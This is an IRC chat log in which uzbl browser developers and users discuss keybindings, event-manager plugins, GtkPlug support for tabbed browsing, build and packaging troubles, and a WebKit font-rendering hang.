19:46 < Cheeseum> man I haven't been keeping up to date with uzbl
19:47 < Cheeseum> you guys have all these event managers and fancy daemons and all that
19:47 < rob|> shame on you :P
19:47 < helgikrs> definitly missing a purl (go to uri from clipboard)
19:47 < keis> helgikrs: isn't that in the example config?
19:47 < helgikrs> it is :O
19:48 < helgikrs> what do ya know, guess I missed that one
19:48 < Masca> helgikrs: 'p' in the example config.
19:50 < rob|> helgikrs: check this one out:  @bind <Ctrl>p = sh 'echo "event INJECT_KEYCMD $(xclip -o)" > "$4"'
19:51 < rob|> and:  @bind <Ctrl>v = sh 'echo "event INJECT_KEYCMD $(xclip -selection clipboard -o)" > "$4"'
19:52 < rob|> will allow you to paste anywhere into the "input field" and also edit your paste
19:53 < helgikrs> thats quite handy
19:56 < helgikrs> I'll have to sink my self into the uzbl code when I find the time
20:00 < rob|> keis: i guess making the keycmd editing bindings static and ignoring them when keycmd is empty would be a good idea
20:01 < rob|> keis: alternatively we could introduce a bind command per mode or something
20:02 < keis> yeah, but I rather not. I like having my exotic readline bindings no one else is going to like :P
20:02 < rob|> i see, so we should stick to 2 then
20:03 < rob|> ^option 2
20:03 < keis> the whole always apply modcmds was a bit of a hack anyway
20:03 < rob|> yeah
20:05 < keis> limiting bindings to a mode sounds good imo, I have wanted to do a visual-mode (like in vim) for a while now
20:06 < keis> with diffrent actions for htns etc
20:13 < comhack> what is enchant? I read on the "latest news" that "you can also use the new webkit version if you compile enchant with --disable-zemberek"  Thanks
20:13 < comhack> I have already blacklisted webkit in pacman
20:14 < keis> spellchecking tool
20:14 < comhack> ahhh
20:14 < comhack> thanks
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20:40 < keis> any wikiwizard around? http://www.uzbl.org/wiki/command_history?do=show
20:41 < rob|> wow, how did you manage to do that? ;)
20:43 < keis> I don't know, haha. looks the same in the editor
20:44 < keis> same as the working revision that is
20:54 < keis> hmm, looks like it was the git:// uri
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21:16 < rob|> yeah, the dokuwiki parser is quite fragile
21:17 < rob|> it also has issues with syntax hilighting
21:18 < rob|> a pitty we never get to see those error messages ;)
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22:47 < singpolyma> Is there a way to tell uzbl to not use the configured proxy for connections to certain hosts?
22:51 < rob|> sure, you'd need a script for that
22:52 < singpolyma> A script that turns the proxy on/off on some event?
22:53 < rob|> yeah
22:53 < rob|> LOAD_COMMIT would be a good choice
22:55 < rob|> attaching the script to your open uri binding would work as well
22:56 < singpolyma> I actually mostly just use :uri, heh
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22:57 < rob|> oh, so you didn't make the switch to experimental?
22:57 < rob|> you really should..
22:57 < singpolyma> I'm on experimental.  :uri still works
22:58 < rob|> sure
23:02 < singpolyma> Oh, interesting, it seems that when I call spawn from a LOAD_COMMIT handler that my script is not passed the fifo, only the socket
23:04 < rob|> oh, really? that's odd
23:04 < singpolyma> same with LOAD_START
23:05 < singpolyma> I know LOAD_FINISH gets the fifo, though, because userscript.sh uses it
23:07 < singpolyma> oh, no, there it is... :P  the fifo was locked up or something dumb, so when I openend new instances they weren't connecting
23:07 < rob|> ah, ok
23:09 < singpolyma> Hmm, LOAD_COMMIT seems too late.  By the time I've injected the set proxy_url command to the fifo, it's already gone.
23:10 < rob|> odd, you better use a binding for that then
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23:35 < Red_Queen> rob|?
23:35 < rob|> yeah
23:36 < Red_Queen> so...
23:36 < rob|> well, just use the experimetal branch. master isn't supported any more
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23:36 < rob|> and exp.'s got a lot of nice features
23:37 < Red_Queen> hmz
23:37 < Red_Queen> the uzbl-git package on archlinux had some wierd bug
23:37 < Red_Queen> characters didnt show up in textfields
23:38 < rob|> you probably just didn't switch to insert mode. experimental does this automagically for you
23:38 < Red_Queen> oh, how do you enable insert mode?
23:38 < Red_Queen> oh, you mean like on vim?
23:38 < Red_Queen> i did that
23:39 < rob|> well, your the first to report that
23:39 < rob|> *you're
23:39 < axionix> its probably your gtk theme then. master has no such issues, and its been frozen for some time
23:39 < Red_Queen> nah i havent installed any external gtk themes
23:39 < Red_Queen> and i did a CTRL+A just to doublecheck
23:40 < rob|> ctrl-a?
23:40 < Red_Queen> yeah like... to select all
23:40 < axionix> well its no longer supported anyhow. issueswill probably occur with newer dependencies
23:41 < rob|> anyways, i need to run. see you guys later
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03:50 < mason-l> Hey guys,
03:53 < Cheeseum> ladies
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05:23 < mason-l> Cheeseum, Where the ladies at?
05:24 < Cheeseum> no ladies on the internet sir
05:24 < mason-l> Cheeseum, >:(
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05:24 < Cheeseum> but now you can with uzbl, ladies.pl
05:24 < mason-l> Hey holizz
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05:38 < mason-l> keis, ping
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06:28 < mason-l> Hey rob|
06:28 < rob|> morning mason
06:34 < mason-l> rob|, Do you know if there are any gtk plug/socket events raised when uzbl is asked to go into plug mode?
06:35 < mason-l> I'm adapting uzbl_tabbed to the new features available in the experimental branch and I don't see any plug events in the EM.
06:36 < mason-l> And is there a way to tell uzbl-core to enter gtkplug mode without specifying a socket number to connect to?
06:37 < rob|> well, no there is no event generated for that. could add one, though
06:38 < rob|> hmm, what's the problem with specifying a socket number?
06:38 < mason-l> Yes please.
06:38 < mason-l> And could you also make a command line gtkplug option that doesn't need an accompanying socket number?>
06:39 < mason-l> Because if the uzbl-core instance dies before it connects theres an abandoned tab in the notebook.
06:39 < mason-l> Which requires me to setup a bunch of timers checking its connected correctly.
06:39 < mason-l> Its easier to have an instance broadcast a plug number when its ready for displaying.
06:42 < rob|> ah, ok i see
06:43 < rob|> so one event that is emited when the plug is connected and that carries the plug id should be ok, right?
06:44 < mason-l> Also it would be nice to be able to tell on the EM end if the uzbl instance thats connected is either in gtk-plug mode or it has its own window.
06:44 < mason-l> So when not in plug mode raise a 'USING_WINDOW <window id>' event or something.
06:44 < mason-l> (Thats so that if a non-plug instance connects to the uzbl_tabbed socket it can disconnect it.
06:44 < mason-l> rob|, Yeah thats all thats needed.
06:44 < mason-l> rob|, You mean when the plug is created don't you?
06:44 < mason-l> Or are you going to have plug-connect events too?
06:44 < rob|> well, yes. the former
06:46 < mason-l> The latter would also be nice :)
06:46 < mason-l> Because in the future hopefully it will be possible to have a binding that will deplug and replug an instance into another running tabbing window.
06:46 < rob|> but doesn't it work the other way around?
06:47 < rob|> i.e. the tabbed application needs to set the socket id
06:47 < mason-l> But before thats possible finer control over 'connect-socket' would be required.
06:47 < mason-l> rob|, It used to.
06:48 < rob|> well, how would uzbl send an event with the id then?
06:50 < mason-l> And the socket id was never negotiable, its the gtk.Socket().get_id()
06:50 < mason-l> rob|, uzbl_tabbed is another class of event manager now.
06:50 < mason-l> It receives every event the EM does.
06:55 < rob|> ok, maybe i confused. in order to create a GtkPlug you need the socket id of the correspondig socket (to which you want to "connect")
06:55 < rob|> so how would you pass that socket id to uzbl if not with -s
06:55 < rob|> ?
06:56 < rob|> with a command?
06:56 < rob|> or via a var?
06:57 < mason-l> Weird, I thought you could create a plug without a socket.
06:57 < rob|> well, you can with socket id '0'
06:57 < rob|> the documentation says it's 'unplugged' then and can be connected later with another function (that needs the socket id)
06:58 < rob|> http://library.gnome.org/devel/gtk/unstable/GtkPlug.html#gtk-plug-new
07:01 < mason-l> rob|, Ok, I might just 'uzbl-core -s 0' as long as an event is raised.
07:04 < rob|> well, currently you can't
07:04 < mason-l> rob|, Then on my end I'll: newtab = gtk.Socket().add_id(plug_id)
07:04 < mason-l> rob|, Wont it allow 0 as an id?
07:04 < rob|> due to this check: if(uzbl.state.socket_id) { ... crreate the plug ..} else {create normal windo}
07:05 < mason-l> rob|, Can it check that 0 is not null?
07:06 < rob|> ?
07:09 < mason-l> rob|, In python I would: http://dpaste.com/116986/
07:09 < rob|> no, you can't do that in C
07:09 < mason-l> So NULL and 0 are the same?
07:11 < MichaelRaskin> mason-l, not always
07:11 < MichaelRaskin> But on x86 C ((void*) NULL == (void*) 0)
07:13 < mason-l> rob|, So maybe you need to do: if(uzbl.state.plug_mode) { gtk_plug_new(uzbl.state.socket_id, window_something); } else { /* create window */ }
07:14 < rob|> yeah, something like that
07:14 < mason-l> Anyway I've got to pick my younger brother up from school, brb.
07:14 < rob|> ok, cu
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07:40 < mason-l> What a wonderful quit message.
07:49 < rob|> mason-l: pushe the fix for '-s 0' and PLUG_CREATED event to my tree
07:49 < rob|> *pushed
07:49 < mason-l> Awesome thanks rob|.
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07:55 < mason-l> rob|, Whats config.h and whats 'reset_command_mode = 1' in config.h ?
07:56 < rob|> oh, heh for got about that. config.h sets a couple of default values if there is no config file in place
07:56 < mason-l> :)
07:57 < mason-l> Thought as much, I was testing the PLUG_CREATED event and saw it being set.
07:57 < mason-l> And then got really confused when it wasn't in the example config.
07:58 < mason-l> Is config.h supposed to load even when a config file is loaded?
07:59 < rob|> yeah
08:04 < mason-l> rob|, Is pygtk.org up right now?
08:04 < mason-l> http://downforeveryoneorjustme.com/pygtk.org says it is but I can't get to it.
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08:05 < yitz_> Down for me
08:06 < yitz_> Down for the University of Toronto, too
08:06 < mason-l> Its down from my box in the US also.
08:06 < mason-l> Shes dead Jim.
08:07  * yitz_ got home, one server and one uni (multiple access points) but nothing outside the city...
08:08 < mason-l> I've just accidentally reminded myself of http://www.youtube.com/watch?v=qJQwHwP0ojI
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09:15 < Dieterbe> morning ladies
09:18 < Dieterbe> Masca> is there some way to get github sending me commit mails? <-- news feeds + rss2email is your friend
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09:27 < Dieterbe> 23:09:51 < singpolyma> Hmm, LOAD_COMMIT seems too late.  By the time I've injected the set proxy_url command to the fifo, it's already gone.
09:27 < Dieterbe> 23:10:46 < rob|> odd, you better use a binding for that then
09:28 < Dieterbe> ^^ isn't this normal because our event handling is async?
09:28 < Dieterbe> another usecase for sync events
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09:30 < mason-l> If hes got a slow internet connection use LOAD_START :)
09:31 < Dieterbe> still, stuff like this should be sync
09:34 < MichaelRaskin> If we got a sync event for LOAD_START, it pretty much means cookie manager gets eradicated
09:35 < Dieterbe> yes the plan is to move cookie handling into the EM
09:43 < ruskie> I hope proxy support will improve...
09:50 < hickop> anyway to tell <BACKSPACE><letter> is not an event but me typing too fast ? ^^
09:52 < Dieterbe> typing those keys _are_ events
09:52 < Dieterbe> if you want to ignore them, ignore them
09:54 < hickop> i mean when i press <BACKSPACE> then my letter to correct it , sometimes <BACKSPACE> isnt fully released
09:54 < hickop> and it fails to write letter then
09:57 < hickop> try to fast delete/rewrite a char in command mode , you'll see
09:58 < axionix> i cant reproduce that
09:59 < hickop> could my system that is too slow maybe
10:00 < hickop> but its annoying
10:06 < mason-l> hickop, Type slower :)
10:06 < hickop> i'm not that fast
10:07 < mason-l> hickop, Either way thats a really difficult problem to solve.
10:08 < mason-l> hickop, Actually! I may have a solution for you.
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10:09 < hickop> bind every single <BACKSPACE><letter> ? ^^
10:11 < mason-l> @bind <BackSpace>* = event INJECT_KEYCMD %s
10:11 < mason-l> That command kind of works.
10:12 < hickop> huho
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10:12 < hickop> it seams to inject a lot of chars
10:12 < mason-l> It doesn't behave exactly as expected because every time the keycmd is updated it thinks you've just pressed '<BackSpace>letter' again in rapid succession.
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10:12 < mason-l> This needs to be fixed up.
10:13 < mason-l> hickop, But it does kind of work!
10:13 < mason-l> :)
10:13 < hickop> hehe
10:14 < mason-l> hickop, Also don't press <BackSpace> and another modkey :)
10:16 < hickop> actually it works if i do @bind <BackSpace>o = event INJECT_KEYCMD o
10:16 < mason-l> Because currently its possible for the bind plugin to misinterpret the ctrl in '<BackSpace><Ctrl>' as the argument for '<BackSpace>*' and then the string '<Ctrl>' is injected into the keycmd about 50 times :)
10:18 < axionix> mason-l: any luck on binding keywords in BND mode yet?
10:19 < mason-l> axionix, While I was playing around with the bind plugin yesterday my time right now is being spent on fixing up uzbl_tabbed for saturday.
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10:19 < axionix> oh ok
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12:26 < keis> mason-l: pong?
12:27 < mason-l> keis, Nevermind :)
12:27 < mason-l> It was just a query I had about your history.py plugin.
12:27 < mason-l> But I figured it out.
12:28 < keis> mkay
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14:36 < dominik> any chances to get bug#42 ('GThread-ERROR **: Trying to recursivly lock a mutex at 'unknown', previously locked at 'unknown'') fixed? Got this problem on debian.
14:36 < dominik> Can I somehow help to get it fixed?
14:49 < rob|> you are on master, right?
14:49 < dominik> no, its the debian package, dated 20090912
14:49 < dominik> should I try master?
14:49 < rob|> open the Makefile and remove all occurences of  '-DG_ERRORCHECK_MUTEXES'
14:50 < rob|> BUT
14:50 < rob|> you should really be using experimental, master will be obsolete this weekeend
14:50 < dominik> okay
14:50 < dominik> try that!
14:50 < rob|> i.e. experimental will be merged with master
14:50 < dominik> perhaps someone should mention that in the bugreport....
14:51 < dominik> works, thanks!
14:51 < rob|> sure thing
14:53 < ruskie> lol
14:53 < ruskie> cute way of getting people to test experimental
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15:09 < reaVer> CoD Modern Warfare 2: http://static.arstechnica.com/nbfl-tower.jpg
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15:20 < Dieterbe> reaVer: ??
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15:21 < reaVer> Dieterbe: you didn't keep up with that fiasco?
15:22 < Dieterbe> i guess not
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15:28 < reaVer> Dieterbe: http://arstechnica.com/gaming/news/2009/11/pc-modern-warfare-2-its-much-worse-than-you-thought.ars
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15:45 < rob|> ,GIT
15:45 < rob|> err
15:48 < dominik> I installed experimental (HEAD) and got no clue how to use it: I use the supplied config and the supplied event_manager.py and launch it via the uzbl-browser command. When running I get the defined start-page but no keypress works. I can use the mouse to click a link but "b" doesnt work to go back (as it is defined in the config). Also the status-bar doesnt show the current mode in the first [] but instead its simpy empty. What is wrong?
15:49 < rob|> dominik: in the source dir type 'make test-dev-browser'
15:49 < rob|> dominik: does it work that way?
15:50 < rob|> if so than you either didn' 'make install' or didn't copy the sample config over
15:50 < rob|> *then
15:50 < dominik> yes
15:50 < dominik> it works there
15:50 < dominik> the status-bar works there and "b" also works
15:51 < rob|> right, so 'make install' and copy the example config over
15:51 < dominik> hm, I did this
15:51 < dominik> so something must have gone wrong
15:51 < rob|> dunno, maybe you copied it to the wrong place?
15:52 < dominik> perhaps
15:52 < mason-l> dominik, And clean out your $XDG_DATA_DIR/uzbl/scripts/ dir, its not needed by default anymore.
15:52 < dominik> checking this
15:52 < rob|> or your XDG paths aren't set
15:52 < rob|> mason-l: is the PLUG_CREATED thing working for you?
15:52 < axionix> hmm ehe event manager acts very weird
15:52 < mason-l> rob|, Yeah but I'm not up to a point in which I can use it yet.
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15:52 < mason-l> axionix, How so?
15:53 < rob|> mason-l: ok, just wanted to check
15:53 < axionix> input stops sometimes, and the mode is blank. no input, cmd, or bnd mode and i cant send any input at all
15:54 < axionix> just says [] instead of [Cmd] or whatever mode it is
15:54 < rob|> axionix: does this happen if you type something while uzbl is in the 'wait' or 'recv' state?
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15:55 < mason-l> axionix, I get that when the EM is not running.
15:55 < axionix> i'm not sure...it just happens randomly when browsing for a while it seems
15:55 < mason-l> axionix, Also if you want to see some verbose output start it manually: event_manager.py -nv restart
15:55 < mason-l> axionix, See if you can reproduce it then pastebin some output.
15:56 < axionix> ok
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15:59 < dominik> rob|: forgot to copy the plugins-directory, now it works, thanks!
16:00 < mason-l> dominik, You shouldn't have to copy it!
16:00 < dominik> I cant use make install
16:00 < dominik> i did it myself
16:00 < mason-l> Oh!
16:00 < axionix> that didnt help
16:00 < mason-l> Then in that case.
16:00 < axionix> input stopped again, nothing wrong in -nv log
16:00 < mason-l> Yes you need to copy the scripts dir, plugins dir and config.
16:01 < mason-l> axionix, Any errors from uzbl-core?
16:01 < mason-l> axionix, What were you last doing when it stopped?
16:01 < axionix> console message: http://www.foxnews.com/story/0,2933,572509,00.html @1278: ReferenceError: Can't find variable: urchinTracker
16:01 < axionix> just cant find variable errors
16:01 < mason-l> Thats not the correct link...
16:02 < axionix> i was browsing google news, and clicked a link off of it
16:02 < mason-l> Oh!
16:02 < mason-l> Looks like a uzbl-core error is causing it to drop the socket or lock up.
16:02 < mason-l> Those console messages aren't from the EM.
16:03 < axionix> this probably has something to do with stale instances of uzbl-browser and uzbl-core in my process list even though i stopped them in the terminal i ran them from
16:04 < axionix> i have to kill -9 a lot of stuff
16:04 < dominik> another question: how can I configure my mouse-buttons 8/9 to forward/backward?
16:05 < mason-l> dominik, When you press them do they act like a modkey being pressed?
16:05 < mason-l> If yes then yes else no.
16:06 < dominik> no, I act only like mouse-buttons
16:06 < mason-l> dominik, There is no way to bind mouse buttons to events yet.
16:07 < dominik> Pity!
16:08 < axionix> yeah somehow uzbl-browser doesnt die when i close the window sometimes, causing 2 instances of -browser and event-manager
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16:16 < rob|> axionix: could you try again with with my tree? just pushed a possible fix
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16:19 < axionix> sure...i'm on badwifi right now though. will try when i get home
16:19 < rob|> ok
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16:43 < keis> is there a reason the em defines it's own variants of partial and callable?
16:43 < keis> a quick test showed no diffrence when using the builtins
16:44 < mason-l> keis, Purely because I forgot those built-ins existed.
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16:45 < keis> hehe, ok :)
16:46 < mason-l> keis, What do you mean by partial though?
16:46 < keis> prepender(func, self) ==> partial(func, self)
16:47 < mason-l> partial ain't no built-in I ever heard of.
16:48 < keis> it's not a __builtin__, it's in functools
16:48 < mason-l> keis, Can you prepend more than one argument using partial?
16:48 < keis> yep
16:49 < keis> it even does keywords :)
16:49 < mason-l> keis, So it works exactly like my prepender class?
16:51 < keis> yes
16:52 < keis> with some small additions like a nice doc-string
16:52 < keis> on the returned function
16:53 < keis> was trivial changes, but I could make a commit of them
16:54 < mason-l> Yes please.
16:54 < mason-l> I'm tied up in my own work at the moment.
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17:01 < keis> it's commit 0cbd26e382962c4c5b84447b2c60c79c07c7fbda on my-uzbl
17:02 < mason-l> Thanks.
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17:11 < mason-l> rob|, Yeah
17:11 < mason-l> Only for a few minutes though.
17:11 < rob|> mason-l: priv msg
17:11 < mason-l> Ok.
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17:22 < mason-l> Night guys.
17:23 < mason-l> Dieterbe, I'm going to be a few more days on uzbl_tabbed.py so go ahead with a release.
17:24 < keis_> good night :)
17:39 < rob|> night
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08:44 < Dieterbe> good morning ladies
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09:12 < github> uzbl: Dieter Plaetinck experimental SHA1-3cab742
09:12 < github> update NAME documentation
09:12 < github> http://bit.ly/uxgxs
09:12 < github> uzbl: Dieter Plaetinck experimental SHA1-a22e90a
09:12 < github> 2 small code updates/comments
09:12 < github> http://bit.ly/MrmVt
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09:27 < github> uzbl: Robert Manea master SHA1-1cd47d0
09:27 < github> added event messages
09:27 < github> http://bit.ly/leti7
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10:15 < Dieterbe> there. it's out there :)
10:17 < hrubi> nice, but now it probably builds on some newer webkit than 1.1.4 I've got 1.1.10 and it don't want to build either: ‘WebKitHitTestResult’ undeclared. Someone might want to update the dependencies list..
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10:45 < Dieterbe> hrubi: allright
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10:48 < github> uzbl: Dieter Plaetinck master SHA1-3f1735f
10:48 < github> bump webkit dep
10:48 < github> http://bit.ly/2tUxbQ
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12:05 < rob|> morning.
12:09 < rob|> oh, he did it :D
12:11 < rob|> there are some formating errors in the html README..
12:19 < Dieterbe> yeah
12:21 < rob|> also the "inlcude" command should be "include <file>"
12:22 < rob|> or rather: include <[dir1:dir2:...:dirN:]file>
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12:58 < hickop> its fun finding yourself pressing 'b' in others browsers ^^
13:09 < rob|> hehe
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13:12 < Dieterbe> now where is that influx of hunderds of users i was expecting..
13:20 < rob|> on saturday (morning?)
13:20 < rob|> nah
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13:41 < Dieterbe> right. not everyone is an early bird like me :P
13:41 < Dieterbe> anyway.. band rehearsal. see ya
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14:15 < kaeso> Dieterbe: thanks for master-tagging, will look at packaging it soonish
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14:50 < DuClare> Dieterbe, What do you play?
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16:07 < chiiph> hi... I don't understand what I'm doing wrong... I've just sync with the master branch and build everything, but it doesn't seem to do anything...
16:07 < chiiph> it just prints out debug lines of my keys...
16:07 < keis_> that quote is getting popular :)
16:07 < mason-l> chiiph, The experimental branch was just merged into the master branch.
16:08 < chiiph> mason-l: so? everything's broken? :)
16:08 < mason-l> Completely breaking compatibility with the previous version of uzbl.
16:08 < mason-l> chiiph, If you plan on upgrading move all your old scripts out of your $XDG_DATA_HOME/uzbl/scripts/ and use uzbl-browser to launch uzbl.
16:09 < chiiph> mason-l: I don't have any scripts :)
16:09 < mason-l> chiiph, And does uzbl-browser work
16:09 < chiiph> mason-l: no... but I think now that's because XDG_DATA_HOME isn't exported
16:10 < mason-l> chiiph, When you start uzbl-browser it exports them if necessary.
16:11 < chiiph> mason-l: well, nope... not working...
16:11 < mason-l> chiiph, did you copy over the new config?
16:11 < chiiph> /home/chiiph/.local/share/uzbl/scripts/event_manager.py: No such file or directory
16:12 < chiiph> mason-l: copy over to where?
16:12 < mason-l> chiiph, Did you make install it?
16:13 < chiiph> mason-l: I'm making the package for gentoo... give me a couple of minutes, cause I've used the same as some time before, and things changed :)
16:14 < mason-l> chiiph, You're creating the gentoo ebuild for the new release?
16:14 < chiiph> mason-l: is there a release? I'm making one for the git repo
16:15 < mason-l> chiiph, Check out the tags in the master branch.
16:17 < chiiph> mason-l: I'm sorry, I'm not that familliar with git... how do I do that?
16:19 < mason-l> chiiph, Type 'git tag' in a repo to see the tags.
16:19 < mason-l> then 'git checkout <tag name>' to check it out.
16:21 < chiiph> mason-l: so all those snapshots are kind of stable?
16:21 < chiiph> mason-l: now I make install it and exported the right path... but it's still not working...
16:21 < mason-l> chiiph, We try, but for the most part yes.
16:22 < mason-l> chiiph, If you would like to check if is working run 'make test-dev-browser' inside the git repo.
16:22 < mason-l> If the browser doesn't run you have a problem.
16:23 < chiiph> mason-l: the browser runs... but nothing works...
16:23 < mason-l> chiiph, What do you mean nothing works?
16:24 < chiiph> mason-l: none of my keys seems to do anything...
16:24 < mason-l> chiiph, Are you getting any output in the terminal?
16:25 < chiiph> mason-l: yes... http://pastebin.com/d4ce061cc
16:27 < mason-l> chiiph, run 'make test-dev-browser' inside the git repo.
16:28 < mason-l> chiiph, Also you have an old version of the config file in ~/.config/uzbl/config
16:28 < mason-l> Copy the example config over.
16:29 < chiiph> mason-l: I don't have anything inside ~/.config/uzbl
16:30 < rob|> hmm, dieter didn't merge some of my latests commits to master
16:30 < mason-l> rob|, I've just noticed :)
16:30 < chiiph> mason-l: yes, that make test* worked great...
16:31 < mason-l> chiiph, Awesome, well when it installs correctly thats the desired product.
16:31 < mason-l> I'm a bit scared by this line though: "event_manager.py: daemon socket location: /tmp/uzbl_socket_1677224939"
16:31 < mason-l> I have no idea whats causing it to do that.
16:32 < chiiph> mason-l: what's wrong with that?
16:33 < mason-l> chiiph, Actually it looks like its being launched by an old version of the uzbl-browser script which is passing along the uzbl socket to the event_manager.py
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16:33 < mason-l> Which is not how it works now.
16:33 < chiiph> mason-l: well... the problem was that I haven't exported the right config path.. so now it works :)
16:34 < chiiph> mason-l: but it keeps doing that socket thingy...
16:34 < mason-l> chiiph, You mean: "talk_to_socket: connect failed (Connection refused)"
16:35 < mason-l> Thats a problem with the cookie daemon. Either its not running or the cookie socket location is wrong in the config.
16:35 < chiiph> mason-l: no, that "event_manager.py: daemon socket location: /tmp/uzbl_socket_1677224939"
16:35 < mason-l> chiiph, Can you pastebin the contents of uzbl-browser?
16:35 < mason-l> And `which uzbl-browser`
16:36 < mason-l> Because the install location has changed check the uzbl-browser you are launching isn't the old version.
16:38 < chiiph> mason-l: uff... yes, it seem I had an older version installed manually, and I forgot...
16:38 < chiiph> mason-l: sorry for all the problems...
16:38 < mason-l> chiiph, No worries.
16:39 < mason-l> We should really have a fault-finding guide on the wiki.
16:39 < chiiph> mason-l: anyway... if you are interested, I will get this ebuild to sunrise overlay...
16:41 < mason-l> I'm sure people will be interested but I'm happy with make installing as I go. Are you going to make the ebuild fetch the latest head or install the latest 2009.11.07 tag?
16:42 < chiiph> mason-l: for now the latest head... that's the idea of live ebuilds... are you planning on hosting snapshot tarballs?
16:43 < mason-l> chiiph, github automatically tarballs all tags. Check out http://github.com/Dieterbe/uzbl/downloads
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16:44 < axionix> uzbl completely freezes with jsapanese text on webpages
16:44 < mason-l> axionix, Does midori have the same problem?
16:45 < axionix> nothing in the log...just freezes during rendering
16:45 < axionix> no it does not
16:46 < rob|> axionix: got an example url?
16:46 < rob|> where that happens
16:46 < axionix> google news...switch dropdown menu to japan
16:48 < axionix> uzbl-core is using 100% cpu when it does so
16:49 < chiiph> is there any guide to make plugins that have any visual feedback?
16:49 < mason-l> chiiph, Visual?
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16:50 < chiiph> mason-l: yes, like a little box that shows a message...
16:51 < rob|> axionix: yep, i can confirm that
16:51 < rob|> axionix: it seems to hang in a webkit function, though
16:51 < axionix> rob|: is uzbl telling webkit to use pango fonts or something? i had this problem in firefoxx a long time ago
16:52 < rob|> well, actually we don't set fonts by default
16:52 < mason-l> chiiph, You mean like a dialog box? Just send the code back to the uzbl-core to build a js dialog box :)
16:52 < rob|> but webkit certainly makes use of panfo
16:52 < axionix> well i mean for the rendering
16:52 < rob|> *pango
16:52 < mason-l> uzbl.send("js aler('Text here');")
16:52 < mason-l> s/aler/alert/
16:52 < axionix> hmmm wonder if you candisable XFT in webkit then...midori seems much more responsive though
16:52 < mason-l> brb
16:52 < rob|> and s/send/run/
16:52 < rob|> ;)
16:53 < chiiph> mason-l: that inside a python script for example?
16:53 < mason-l> rob|, Not inside an EM plugin.
16:53 < rob|> ah
16:53 < mason-l> chiiph, Yes from inside an EM plugin.
16:53 < rob|> sry
16:53 < chiiph> mason-l: ok, thanks... I'll look into that...
16:53 < mason-l> chiiph, Check out the plugin_template.py or some of the existing plugins for examples.
16:54 < rob|> chiiph: you can use any gui framework to that, no need for JS. xdialog/zenity/dzen2 each of these will work
16:54 < rob|> ^do
16:54 < chiiph> rob|: is there any example for that?
16:55 < axionix> damn, now i need a secondary browser again
16:55 < bandito85> Hey all! Firs let me say kudos to all devs that made this browser even better with the latest release. I would like to know if its possible to get the C and I characters to be shown in the titlebar, displaying the mode youre currently in, like in previous versions?
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16:55 < mason-l> bandito85, Yes!
16:55 < mason-l> bandito85, Check out the mode configuration section of the example config.
16:56 < rob|> chiiph: well, an example for using those tools? that's beyond the scope of uzbl's docs
16:56 < chiiph> are all those setted CFLAGS needed? or they can be dropped without a problem?
16:56 < chiiph> rob|: no, I meant a plugin that uses some of them...
16:56 < bandito85> mason-l: lovely, ty
16:56 < mason-l> bandito85, You're looking for a bunch of mode_indicator sets.
16:57 < rob|> chiiph: probably not, but you would just spawn/execute any of them and provide them the desired input
16:57 < mason-l> bandito85, Then change the 'Cmd' and 'Ins' to C & I.
16:57 < bandito85> mason-l: thnx a bunch
16:58 < mason-l> bandito85, Almost every new feature is demonstrated in the example config somehow, scan over it if you are interested in learning more.
16:59 < rob|> besides 'include', i was hoping dieter would do the config splitting before the release..
17:00 < bandito85> mason-l: will do
17:00 < chiiph> are there any plans to adopt some build system like autotools or cmake?
17:01 < hickop> what is the difference between INJECT_KEYCMD and APPEND_KEYCMD ?
17:02 < mason-l> hickop, Append always appends to the end of the keycmd and inject inserts the string at the cursor position in the keycmd.
17:02 < rob|> axionix: your issue seems to be a font problem within webkit, so your guess with pango may be right
17:02 < hickop> mason-l: thanks
17:03 < axionix> rob|: i found a fix...sort of
17:05 < rob|> axionix: what did you do?
17:05 < rob|> also, surf suffers from the same issue
17:06 < axionix> rob|: pacman -S ttf-kochi-substitute
17:06 < axionix> seems to help a lot...but only for japanese. the chinese fonts dont help those fonts for some reason
17:07 < chiiph> so... anyone's interested in a proper build system?
17:07 < mason-l> Night guys.
17:08 < rob|> night mason
17:08 < rob|> chiiph: what's wrong with the current one?
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17:08 < rob|> axionix: also if you just wait long enough it will render the site
17:09 < chiiph> rob|: in a distribution like gentoo, users set their preferred CFLAGS, LDFLAGS, CC, etc... and the Makefile doesn't respect all of those...
17:09 < rob|> axionix: so it doesn't really crash or something
17:09 < axionix> yeah i know...just found that out after i waited 2 minutes
17:09 < chiiph> rob|: so we have to make a lot of patching...
17:09 < axionix> i'd rather install another browser for my homework
17:09 < rob|> chiiph: well, we could certainly outsource all of those to a config.make file
17:10 < axionix> or i'd be up all night :)
17:10 < chiiph> rob|: why not adopt something widely used like autotools or cmake?
17:10 < rob|> because autotools is a bunch of crap
17:10 < chiiph> cmake is not...
17:11 < keis_> cmake is worse
17:11 < chiiph> hehe... ok...
17:11 < rob|> axionix: you should file a bug on the webkit bug tracker
17:11 < rob|> axionix: uzbl can't do too much about that issue
17:12 < rob|> anyways, we probably want config.make
17:12 < keis_> imo if uzbl should use some craptastic buildsystem it should use autotools as it's at least the common system almost always installed
17:13 < chiiph> well... if it's a very customizable browser... it should follow that philosophy at build time too...
17:14 < keis_> I don't think there is anything you can't configure with the Makefile
17:15 < rob|> chiiph: i agree, though that doesn't mean we should be using any of those bloated tools
17:15 < chiiph> yes, but you have to modify it by hand... it's better to run ./configure --enable-whatever
17:15 < chiiph> rob|: of course not, but those are widely used... that's the only reason why I suggested them...
17:16 < axionix> you have to modify uzbl config by hand too. this is the cost of power
17:16 < keis_> nah, it's the cost of not using bloated build tools
17:16 < chiiph> axionix: that happends with every linux app...
17:16 < rob|> i see, windows is also widely used. so that's not a legit argument
17:16 < axionix> you want things done the way you want, you must do them yourself. thats linux philosophy at hand
17:17 < chiiph> axionix: I don't have any problem with doing what is needed for uzbl to use autotools or whatever...
17:17 < keis_> the 'linux philosophy', what?
17:18 < rob|> yea, linux philosophy. have thousand of braindead requests to include stuff into the kernel and discuss them to death - eventually a dev will give in and just include them..
17:19 < keis_> hehe
17:23 < axionix> yep my point exactly
17:23 < keis_> unless the request turns into huge drama ending with Linus calling someone a masturbating monkey
17:24 < axionix> the good stuff shouldnt be like this
17:24 < axionix> it wouldnt be good :)
17:24 < axionix> but yeah, i cant see using a vanilla kernel these days
17:25 < keis_> why not?
17:25 < axionix> err not vanilla, but a stock distro kernel with a million patches/modules built/un-needed support/filesize/etc. the 2.4 days were better
17:27 < keis_> building everything as modules and using wierd hacks to actually boot the kernel is a huge brainfart
17:28 < axionix> indeed. you really only need modules for things you dont want running all the time, or that you need to load on demand, like crappy drivers that freeze
17:29 < axionix> hehe, can you tell i'm a LFS dude?
